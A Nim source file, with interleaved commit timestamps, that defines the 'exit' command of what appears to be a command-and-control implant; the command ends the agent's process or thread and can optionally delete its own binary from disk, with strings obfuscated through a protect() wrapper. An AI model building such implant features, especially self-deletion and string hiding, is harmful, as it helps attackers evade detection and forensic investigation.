2025-10-23 17:28:07 +02:00
import .. / common / [ types , utils ]
# Define function prototype
proc executeExit ( ctx : AgentCtx , task : Task ) : TaskResult
# Module definition
let commands * = @ [
Command (
name : protect ( " exit " ) ,
commandType : CMD_EXIT ,
description : protect ( " Exit the agent process. " ) ,
2025-10-24 12:26:44 +02:00
example : protect ( " exit process " ) ,
2025-10-23 17:28:07 +02:00
arguments : @ [
2025-10-24 12:26:44 +02:00
Argument ( name : protect ( " exitType " ) , description : protect ( " Available options: PROCESS/THREAD. Default: PROCESS. " ) , argumentType : STRING , isRequired : false ) ,
Argument ( name : protect ( " selfDelete " ) , description : protect ( " Attempt to delete the binary within which is the agent was running from disk. Default: false " ) , argumentType : BOOL , isRequired : false ) ,
2025-10-23 17:28:07 +02:00
] ,
execute : executeExit
)
]
# Implement execution functions
when not defined ( agent ) :
proc executeExit ( ctx : AgentCtx , task : Task ) : TaskResult = nil
when defined ( agent ) :
import strutils , strformat
import .. / agent / utils / io
2025-10-24 12:26:44 +02:00
import .. / agent / core / exit
2025-10-23 17:28:07 +02:00
import .. / agent / protocol / result
import .. / common / [ utils , serialize ]
proc executeExit ( ctx : AgentCtx , task : Task ) : TaskResult =
try :
print " [>] Exiting. "
2025-10-24 12:26:44 +02:00
case task . argCount :
of 0 :
exit ( )
of 1 :
let exitType = parseEnum [ ExitType ] ( Bytes . toString ( task . args [ 0 ] . data ) )
exit ( exitType )
else :
let exitType = parseEnum [ ExitType ] ( Bytes . toString ( task . args [ 0 ] . data ) )
let selfDelete = cast [ bool ] ( task . args [ 1 ] . data [ 0 ] )
exit ( exitType , selfDelete )
2025-10-23 17:28:07 +02:00
except CatchableError as err :
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )